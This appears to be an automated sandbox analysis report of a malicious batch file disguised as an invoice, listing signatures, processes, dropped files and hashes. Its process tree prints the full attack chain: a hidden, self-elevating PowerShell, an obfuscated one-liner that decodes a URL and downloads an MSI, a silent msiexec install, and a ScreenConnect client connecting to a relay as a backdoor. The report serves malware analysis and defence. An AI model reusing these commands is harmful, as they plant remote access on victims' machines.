Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    28/07/2026, 00:16

General

  • Target
    A/Adobe/downloads/INVOICE2515.bat
  • Size 914B
  • Sample260728-akyevstgkd
  • SHA256 bc9bcb5915fdc314ed0b3de952c83b3380048c4ffd1bc3579b7e1badd7fa9181
  • MD5 SHA1 SHA512 TLSH

Malware Config

Signatures

  • Badlisted process makes network request 5 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Run Powershell and hide display window.

  • Sets service image path in registry 3 TTPs 1 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

  • ConnectWise ScreenConnect remote access tool

    ConnectWise ScreenConnect is a remote desktop tool that can be used as a backdoor.

  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 22 IoCs
  • Enumerates connected drives 3 TTPs 23 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Boot or Logon Autostart Execution: Authentication Package 1 TTPs 1 IoCs

    Suspicious Windows Authentication Registry Modification.

  • Drops file in System32 directory 10 IoCs
  • Drops file in Program Files directory 16 IoCs
  • Drops file in Windows directory 23 IoCs
  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 5 IoCs
  • Suspicious use of SendNotifyMessage 5 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\A\Adobe\downloads\INVOICE2515.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:556
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& { Start-Process cmd -ArgumentList '/c','\"C:\Users\Admin\AppData\Local\Temp\A\Adobe\downloads\INVOICE2515.bat\" HIDDEN' -Verb RunAs -WindowStyle Hidden }"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1800
      • C:\Windows\system32\cmd.exe
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\A\Adobe\downloads\INVOICE2515.bat" HIDDEN
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:2432
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "try { $s='104116116112115058047047098105101097103116100107046115051046117115045101097115116045050046097109097122111110097119115046099111109047083099114101101110067111110110101099116046067108105101110116083101116117112046109115105'; $bytes=@(); for($i=0;$i -lt $s.Length;$i+=3){ $bytes+=[byte]($s.Substring($i,3)) }; $u=[System.Text.Encoding]::ASCII.GetString($bytes); $ProgressPreference='SilentlyContinue'; Invoke-WebRequest -Uri $u -OutFile 'C:\Users\Admin\AppData\Local\Temp\~temp.msi' -UseBasicParsing } catch {}"
          4⤵
          • Badlisted process makes network request
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5040
        • C:\Windows\system32\msiexec.exe
          msiexec /i "C:\Users\Admin\AppData\Local\Temp\~temp.msi" /quiet /qn /norestart
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4472
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Badlisted process makes network request
    • Enumerates connected drives
    • Boot or Logon Autostart Execution: Authentication Package
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1924
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding 69BD25DCE52F92BA69FC27F43B8142B6
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4440
      • C:\Windows\SysWOW64\rundll32.exe
        rundll32.exe "C:\Windows\Installer\MSIEA2C.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240708343 2 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
        3⤵
        • Loads dropped DLL
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:2472
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding B1B12475EA79D08CB48CB92F49D49A5C E Global\MSI0000
      2⤵
      • Loads dropped DLL
      • Drops file in Windows directory
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:740
  • C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe
    "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe" "?e=Access&y=Guest&h=instance-qbrhhe-relay.screenconnect.com&p=443&s=6923f817-edf6-43c0-b091-adcb6938d484&k=BgIAAACkAABSU0ExAAgAAAEAAQA5ARxGABeWFVnH8yD2RT8mrzgHBPqjpdYuQv4TDvCeKrEs1HuafgL%2bK5DNCr45O1%2bdvlb9imhdPa4UVaYnUTH3E1N9HOrlHrJZAA3JlnyX320gP4gKx3%2fhD9gFkr%2frHuoPl4s0znNG6G%2fQofCRKkIVQhFbN1Oew56NiTkNvE3MMKDDzSv24eNnD8RWz9sEGg6%2ft3MzjEOev3O1YHmAr4zUXB1eo9wBuXjWr%2bT6WjVFw8jwSHNJ5v9RwBDsGTOHU6Qv1hOJRv5qac55Sn3oSZsY%2bmQob6l1CRRGtEAiNZFdRd%2bGzFOgStT2QUi67RSNxHbHRNPaVQSb9kkkP%2b%2bSJMPX"
    1⤵
    • Sets service image path in registry
    • Executes dropped EXE
    • Loads dropped DLL
    • Drops file in System32 directory
    • System Location Discovery: System Language Discovery
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3692
    • C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "a0067db4-13e6-4bc8-a36e-b678e12d909e" "User"
      2⤵
      • Executes dropped EXE
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4488
    • C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
      "C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe" "RunRole" "d88fd32b-2dba-409b-accb-36065ba3b7aa" "System"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Checks processor information in registry
      • Modifies data under HKEY_USERS
      PID:4008

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        e58e1d3.rbs

        • Path C:\Config.Msi\e58e1d3.rbs
        • Size 214KB
        • SHA256 b7d0c543d9218b3066059b321c607910b2c4097a70d249d8f75077530214b048
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.en-US.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\Client.en-US.resources
        • Size 64KB
        • SHA256 a90983b3d26f9e6bb472663b84d13254349f62b0ad4c667fd76b3edd270240b2
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Client.resources

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\Client.resources
        • Size 6KB
        • SHA256 bd34378ad99f7609fa0c7c8edde6337c738a61d288863015629329806a1cc728
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Client.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Client.dll
        • Size 412KB
        • SHA256 44d7c87abe55a23318a1627a845a999acc268cc4ece97e2e80849ad869809ee1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.dll
        • Size 91KB
        • SHA256 b607976c1aa7e804d8d53993ddf81ebf4b85117a12d7b4e9ee228e907e1f4025
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.ClientService.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.ClientService.exe
        • Size 93KB
        • SHA256 4cfe96e8e6d4cc96bc0f9c7935ab32531deeb0f52a8c39f739da928d6f5d344b
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Core.dll
        • Size 577KB
        • SHA256 5c98fa479fd677e900bd53f15c3969deeb99c109e026f169862a6458a55bddcb
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 c1a6e533825b7adb9c2312c1674a5506fd3db460a15443d82c58b5037c68a9f0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsAuthenticationPackage.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsAuthenticationPackage.dll
        • Size 254KB
        • SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe
        • Size 675KB
        • SHA256 6d1660e7e219fd873124c6e491ed41793a9b43b29e90ca494893a07a70abe172
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.WindowsClient.exe.config

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsClient.exe.config
        • Size 266B
        • SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
        • MD5 SHA1 SHA512 TLSH

        ScreenConnect.WindowsCredentialProvider.dll

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\ScreenConnect.WindowsCredentialProvider.dll
        • Size 837KB
        • SHA256 f340a7376628a7a27ff45dd479cb5c09e072e79bbd318deef39325c29541dbdd
        • MD5 SHA1 SHA512 SSDEEP TLSH

        system.config

        • Path C:\Program Files (x86)\ScreenConnect Client (09af6a8051d3c228)\system.config
        • Size 966B
        • SHA256 cd2e776b6d1d4f21bf1f85b1a80a6f4f2957653c4090b538e914d3258d551a83
        • MD5 SHA1 SHA512 TLSH

        powershell.exe.log

        • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
        • Size 2KB
        • SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
        • MD5 SHA1 SHA512 TLSH

        StartupProfileData-NonInteractive

        • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
        • Size 64B
        • SHA256 22dbc98eff5879895614d942a1af07a04609006555774e0e07a17e7255b26a02
        • MD5 SHA1 SHA512

        __PSScriptPolicyTest_gq2lc2lw.2ww.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gq2lc2lw.2ww.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        ~temp.msi

        • Path C:\Users\Admin\AppData\Local\Temp\~temp.msi
        • Size 9.8MB
        • SHA256 44da81c6f5de83e24f5aa1fbd5f6e0367e86a159620fb56ef664a579ef9fb0c8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIEA2C.tmp

        • Path C:\Windows\Installer\MSIEA2C.tmp
        • Size 1.1MB
        • SHA256 71155d6834aa9d39bdbe3c1b1791f7e59c263b3be61ee4e4d645a29fdee7dd27
        • MD5 SHA1 SHA512 SSDEEP TLSH

        Microsoft.Deployment.WindowsInstaller.dll

        • Path C:\Windows\Installer\MSIEA2C.tmp-\Microsoft.Deployment.WindowsInstaller.dll
        • Size 172KB
        • SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Core.dll

        • Path C:\Windows\Installer\MSIEA2C.tmp-\ScreenConnect.Core.dll
        • Size 567KB
        • SHA256 3e335088245a44e7d929a108a3fec2985df749f697fdd7c1815abefe9a1effb0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.InstallerActions.dll

        • Path C:\Windows\Installer\MSIEA2C.tmp-\ScreenConnect.InstallerActions.dll
        • Size 24KB
        • SHA256 52d52f271a4314bece5f573642fd41f9e71724796e250a96ca61470ba71b4d82
        • MD5 SHA1 SHA512 SSDEEP TLSH

        ScreenConnect.Windows.dll

        • Path C:\Windows\Installer\MSIEA2C.tmp-\ScreenConnect.Windows.dll
        • Size 1.7MB
        • SHA256 e0cf56d4793a7ac0ede73d5229c1cf8a9eb0f8352a61ecdd42ee4800a42ceaef
        • MD5 SHA1 SHA512 SSDEEP TLSH

        MSIF2C9.tmp

        • Path C:\Windows\Installer\MSIF2C9.tmp
        • Size 202KB
        • SHA256 3cff4ac91288a0ff0c13278e73b282a64e83d089c5a61a45d483194ab336b852
        • MD5 SHA1 SHA512 SSDEEP TLSH

        0yq0pqaw.newcfg

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\0yq0pqaw.newcfg
        • Size 880B
        • SHA256 16006894c2c796b9ddce2febba7cfa2efc6a376807cfda5e2830819478b39873
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\user.config
        • Size 520B
        • SHA256 52a2f08105c8ad0d8606cd22fc06c61383842956ff7ee83b57a3bc838478223f
        • MD5 SHA1 SHA512 TLSH

        user.config

        • Path C:\Windows\SysWOW64\config\systemprofile\AppData\Local\ScreenConnect Client (09af6a8051d3c228)\user.config
        • Size 683B
        • SHA256 1452cff1d47e8075b9fa7e212b4aca40e91b87fb121952447b3f1f5ce58b48d8
        • MD5 SHA1 SHA512 TLSH

        memory/1800-1-0x0000012413CA0000-0x0000012413CB0000-memory.dmp

        memory/1800-9-0x0000012413CB0000-0x0000012413CD2000-memory.dmp

        memory/1800-0-0x0000012413CA0000-0x0000012413CB0000-memory.dmp

        memory/2472-61-0x0000000004DE0000-0x0000000004DEC000-memory.dmp

        memory/2472-65-0x0000000004E90000-0x0000000004F24000-memory.dmp

        memory/2472-70-0x0000000005840000-0x0000000005DE4000-memory.dmp

        memory/2472-69-0x00000000050E0000-0x0000000005290000-memory.dmp

        memory/2472-57-0x0000000002A60000-0x0000000002A8E000-memory.dmp

        memory/3692-113-0x0000000004270000-0x0000000004304000-memory.dmp

        memory/3692-117-0x00000000044C0000-0x0000000004670000-memory.dmp

        memory/3692-148-0x0000000004710000-0x00000000047A2000-memory.dmp

        memory/3692-150-0x0000000004310000-0x0000000004351000-memory.dmp

        memory/3692-107-0x0000000001B90000-0x0000000001BAA000-memory.dmp

        memory/3692-152-0x00000000048F0000-0x00000000049C6000-memory.dmp

        memory/3692-124-0x0000000004360000-0x00000000043B0000-memory.dmp

        memory/3692-147-0x0000000004420000-0x000000000448C000-memory.dmp

        memory/4488-173-0x0000000002580000-0x00000000025EC000-memory.dmp

        memory/4488-172-0x00000000003B0000-0x000000000045C000-memory.dmp

        memory/4488-174-0x000000001B340000-0x000000001B3D4000-memory.dmp

        memory/4488-175-0x000000001B690000-0x000000001B840000-memory.dmp

        memory/4488-176-0x00000000024D0000-0x00000000024EA000-memory.dmp

        memory/4488-177-0x000000001B840000-0x000000001B9C6000-memory.dmp

        memory/5040-24-0x00000259F5580000-0x00000259F5590000-memory.dmp

        memory/5040-13-0x00000259F5580000-0x00000259F5590000-memory.dmp

        memory/5040-23-0x00000259F5580000-0x00000259F5590000-memory.dmp

        memory/5040-14-0x00000259F5580000-0x00000259F5590000-memory.dmp